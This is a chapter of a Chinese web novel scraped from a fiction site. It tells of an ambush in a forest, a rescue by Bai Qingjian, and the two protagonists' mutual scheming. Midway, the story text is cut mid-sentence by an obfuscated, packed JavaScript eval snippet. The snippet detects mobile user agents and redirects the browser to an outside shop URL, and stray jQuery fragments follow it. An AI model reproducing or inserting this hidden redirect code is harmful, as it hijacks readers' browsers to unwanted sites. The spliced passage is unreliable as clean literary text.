文趣网 > 其他小说 > 与宿敌他哥契约成婚后 > 19. 第19章
    刀光剑影之间,沈禾以一敌十,硬生生挡住大半攻势,替孟知华挡下无数致命袭击。

    绿绮又惊又怔,全然不敢相信,日日跟在白大少爷身边,看着平平无奇的沈禾,竟这般厉害!

    可对方人数实在太多,死士悍不畏死,轮番冲杀,源源不断。

    沈禾纵然身手卓绝,终究双拳难敌众手,缠斗许久,呼吸渐促,力道渐疲,身上也添了数道深浅伤口,渐渐落入下风,难以周全护主。

    一名死士抓住空隙,绕开沈禾的防线,手持短刃直扑孟知华要害!

    “少夫人小心!”

    绿绮见状想也不想便挺身而出,欲挡在孟知华身前。

    千钧一发之际,孟知华眸光骤厉,身形迅雷不及掩耳之势一转,抢先将绿绮拉开。

    可她避之不及,沉闷的利刃入肉声骤然响起,刺骨的痛感瞬间席卷右臂。

    鲜血顷刻间浸透衣袖,顺着小臂不断滴落,孟知华身形微晃,硬生生忍住了剧痛。

    孟知华眼底骤然沉凝,心底长久以来的隐忍克制,在这一刻尽数被凛冽戾气彻底碾碎。

    她自幼长在孟府军营,耳濡目染之下年少便习得一身过硬武艺,根本不惧这些黑市亡命死士。

    这些年周旋于京城权贵之间,伪装成温婉端庄的世家千金,嫁入白府之后,她更是刻意收敛所有锋芒,藏起一身凌厉本事。

    可此刻险境当前,方才绿绮舍身护她的模样历历在目,身边侍卫节节败退,身陷苦战,局势步步溃败,早已容不得她继续伪装示弱。

    眼底所有温和温润尽数褪去,蛰伏已久的锋芒尽数迸发,指尖已然蓄力,就在孟知华即将破局出手的刹那——

    远处官道之上,一阵急促马蹄声骤然破空逼近,裹挟着滔天肃杀之势,席卷而来。

    烟尘滚滚飞扬,劲风猎猎穿林,一匹神骏黑驹疾驰破风而来。

    马上人身着一袭月白锦袍,衣料沾着路途风尘,却丝毫不掩风华,身姿挺拔如青松立峰,周身气场凛冽沉肃,慑得周遭杀气都骤然一滞。

    来人正是白清简。

    骏马堪堪停稳,他纵身利落翻身下马,衣袂翻飞,身姿飒然落地。

    没有半分多余言语,身形一闪,直接冲入战局。

    往日世人眼中温润克制的世家公子,此刻彻底褪去所有风雅伪装,出手便是雷霆万钧之势。

    恰逢一名死士提刀直扑孟知华要害,白清简侧身挡在她身前,抬手精准扣住对方手腕,借力猛拧,只听一声脆响,那人筋骨寸断。

    他顺势夺下死士手中利刃,寒芒出鞘,剑光凛冽刺目,破风之声尖锐呼啸。

    不同于沈禾的利落搏杀,白清简的招式更为刁钻霸道,杀伐果决,是他自幼随仙山宗师修习的剑法,招招直指要害,式式不留余地。

    黑衣死士皆是亡命之徒,出手狠辣悍不畏死,可在他精妙绝伦的顶尖身手面前,所有搏杀伎俩都形同虚设。

    白清简身形辗转进退,衣袂翻飞间剑气纵横,进退有度,攻守兼备,纵使数名死士同时合围,也近不得他身侧半寸。

    他与沈禾及两名侍卫相互配合,不过瞬息之间,接连数名凶悍死士应声倒地,要么经脉被封,要么重伤失力,再无半分反扑之力。

    原本步步紧逼、无解可破的必死战局,在他孤身入局的那一刻,便已然彻底逆转。

    余下残存的黑衣死士见状,依旧悍勇不退,拼死合围而上,却终究抵不过绝对实力的碾压。

    白清简剑光流转,杀伐凌厉不减,没有丝毫冗余动作,每一次出剑都精准致命,利落清扫周遭攻势。

    不过半柱香光景,方才杀气滔天的一众蒙面死士,尽数被击溃制服,横七竖八倒落满地,再无一人能够站立。

    全程伫立原地的孟知华早已看得分神,全然怔在原处。

    右臂的刺骨伤痛仿佛已感知不到,周遭的血腥与厮杀声也恍若隔世。

    她素来认为白清简风度翩翩,温润端方,是庙堂之上从容有度,俗世之中光风霁月的世家公子。

    却从未想过,他竟藏着这般杀伐霸道的绝世身手。

    那一身隐于温润皮囊之下的凌厉与强悍,彻底颠覆了她往日的所有认知。

    林间刀光尽数敛去,漫天杀气缓缓消散,只余下满地狼藉,以及空气中淡淡弥漫的血腥气息。

    周遭天地,骤然归于一片死寂。

    白清简收剑垂落,指尖尚染着未散的寒意,而后如垃圾一般随手扔下。

    他无视满地狼藉尸身,亦未侧眸看一眼身侧尚且浴血喘息的沈禾,全场所有的目光,自始至终牢牢锁在孟知华一人身上。

    落在她微乱的鬓发,纤细负伤的小臂,以及裙上沾染的刺目血痕之上。

    方才远远望见寒刀直劈向她的刹那,他几乎是不假思索,本能般飞身上前。

    就连他自己心底都隐隐察觉异样。

    纵然此番局势本就在他算计之中,可方才那一瞬间的奔赴,刻意筹谋之外,更多的竟是纯粹的本能反应。

    尤其是看到她意料之外的负伤。

    他并未深究这份心绪究竟意味着什么,只是冷静地感知着这份微妙的转变。

    他清醒察觉到,自己的心境,已悄然发生了些许改变。

    白清简敛了心神,缓步走近,屈膝半跪于孟知华身侧,小心翼翼扶稳她的身子,嗓音是从未有过的低沉沙哑:“对不住。”

    “所有凶险,皆因我在朝堂树敌而起。”

    孟知华正跌坐在原地,胸中激荡的情绪久久无法平息。

    她手臂上被利刃划开的伤口隐隐作痛,皮肉翻裂的痛清晰刺骨,却远不及她此刻心底翻涌的万般复杂。

    他此言一出,她便了然。

    今日这批黑市死士,果然是赵侍郎所派。

    林间风势微凉,裹挟着淡淡的血腥气,衬得周遭气氛愈发沉凝。

    孟知华压下手臂的剧痛,轻声开口:“我没事,人无碍就好。”

    可她心底却是一片沉凝焦灼。

    今日与白清畅有约,如今突发横祸,迟迟未至,已然失约在先。

    她并不在意白清畅是否忧心不安,却忌惮这场失信,会损耗好不容易建立起来的信任,打乱她筹谋的布局。

    她此刻不可能再赴茶肆,唯一的念头,便是尽快设法补救,稳住局面,不让先前的铺垫尽数作废。

    她下意识便要撑地起身,想要立刻设法周旋补救。

    下一瞬,手腕便被轻轻按住。

    “别动。”

    白清简声线温和却带着不容置喙的力道。

    他抬手,干脆利落扯下自己衣袍内侧干净的素色锦布,指尖动作轻柔克制,细细为她包扎止血。

    近距离的咫尺之间,静谧得能听见彼此的呼吸。

    他垂着长睫,神情专注,方才周身的杀伐戾气尽数收敛,只剩温柔审慎。

    “会有点疼,忍一忍。”他低声叮嘱。

    孟知华因为吃痛,身子微微一僵,但还是乖乖敛了动作,任由他处置小臂的伤口。

    眼下,她唯有靠绿绮去周转白清畅的事,但根本没有借口私下传讯给绿绮。

    感受到沈禾在身后,她心头飞快一转。

    等等,倒也不是没办法。

    她抬眸看了白清简一眼。

    心念既定,待最后一圈布带稳妥系好,孟知华几乎是顺势抬臂,轻轻环住了他的肩,将身子浅浅靠了上去。

    她声音带着几分劫后余生的微颤,软糯而委屈:“还好你来了……方才……我真的好害怕。”

    话音落时,她肩头轻轻微颤,话语的尾音也绵绵的,似是惊魂未定,让人好不心软。

    白清简身形骤然微顿,漆黑眼底掠过一抹猝不及防的错愕。

    他素来冷静筹谋,习惯掌控全局。

    除了孟知华的伤,这场刺杀从头到尾,都是他精心布下的局,与赵侍郎无关。

    他本意是借这场凶险敲打孟知华,迫使她收敛那些脱离掌控的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734649|207370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    举动,往后行事懂得安分,顺势卖她一个情分,让她生出对他的依赖。

    婚前,他虽默许孟知华利用他解决李家祸事,可她手腕的狠准缜密,让他另眼相看之余,心底也生出几分忌惮。

    机关算尽,他唯独没料到,孟知华会这般直白流露脆弱,更会主动近身相拥。

    可他也并不知晓,孟知华正借着相拥的完美遮挡,背对沈禾,悄然抬眼望向在一旁手足无措的绿绮。

    她极快地递去一道眼神,口齿微动,无声示意她立刻遣一名侍卫赶往茶肆,给白清畅传信代为解释。

    方才凶险太过猝然,绿绮一直心神恍惚,浑身紧绷,仍沉浸在方才死士厮杀的惊惧之中,久久回不过神。

    但瞥见孟知华隐晦的示意,她猛地回神,强打精神。

    见沈禾正暗自疗伤,并未注意她,绿绮迅速将指令牢牢记下后,悄然微微颔首。

    片刻后,白清简才轻声开口,音色温和而低沉,似在宽慰,又似在自责:“这本就是我该做的。但我还是来迟了,让你负了伤。”

    “不是的,若是你没来,今日我恐怕难逃此劫。”

    孟知华见绿绮接收到了指令,勉强坐直身子,垂首,声音弱乎乎的,带着几分羞赧,“是我失态了,抱歉。”

    胸前仿佛还萦绕着她方才靠近的气息。

    白清简不动声色地望向她惨白的脸,安抚道:“不妨事,今日你定然吓坏了。腿可有受伤,尚可走动?”

    她勉强站起,试探了一下脚力,轻轻点头:“我可以走。”

    孟知华撑着身子缓步往前挪了几步,手臂伤口随着动作不断被牵扯,钝痛一阵阵加剧。

    待到马匹跟前时,她试着抬脚借力上马,伤臂根本用不上力气,几番尝试都难以完成动作。

    白清简见状,上前一步,垂首低声道:“孟姑娘,对不住了。”

    随后微微倾身,伸手将她横抱而起,动作温柔至极,仔细避开了她的伤口。

    他将她妥帖安置在马背上,自己随即翻身上马,稳稳将人护在怀中。

    孟知华有些猝不及防,却并不慌张,他的手很稳,宽阔安稳的怀抱也出奇的让人倍感安心。

    白清简垂眸望着怀中人,她身形比他小一大圈,安安静静窝在他怀中,方才相拥时萦绕鼻尖的淡淡甜香,此刻又漫了上来。

    目光先落在她柔软发顶,再往下,视线扫过她半边被鲜血浸透的裙衫。

    念及她这番狼狈全是因自己而起,攥着缰绳的手缓缓收紧。

    他重新抬眼望向前路,声线依旧平和低柔:“我会放缓马速,若是坐不稳,只管往后靠在我身上。”

    孟知华轻轻颔首,手臂无力使不上劲,压根扶不住马鞍,身子轻轻一晃,细微的颤抖藏都藏不住。

    头顶复又落下一句:“不怕,没事了。我们回家。”

    很轻,很柔,很快随风散去。

    骏马缓步前行,林间清风徐徐拂过,吹散些许血腥浊气。

    孟知华背后传来令人踏实的温度,以及无法散去的淡淡血腥气,她忍不住轻声发问:“我今日是突发奇想来城外散心,可你与沈禾,为何会恰好在此处?”

    “近日局势并不太平,沈禾一直奉命暗中护你,”

    白清简坦然解释道,“他察觉局势有异,立刻遣飞鸽传讯于我,我刚好出宫,立即匆匆赶来。”

    孟知华心下一凛。

    原来沈禾一直跟着她,她竟毫无察觉。方才一睹沈禾打斗身姿,才发现他武力如此深藏不露。

    也许没见到白清畅,并不是一件坏事。

    行至林荫道口,即将踏出城郊密林,白清简再度缓声开口:

    “今日清朗突然回京,没有告知府中。我方才在宫中偶遇他面圣,才知晓此事。想来他此刻已然回府,正在等候我们回去。”

    他低头看向怀中人骤然绷紧的身形:“你如今身子有伤,心绪未宁,也不必勉强。若是不适,改日再与他正式会面,也无妨。”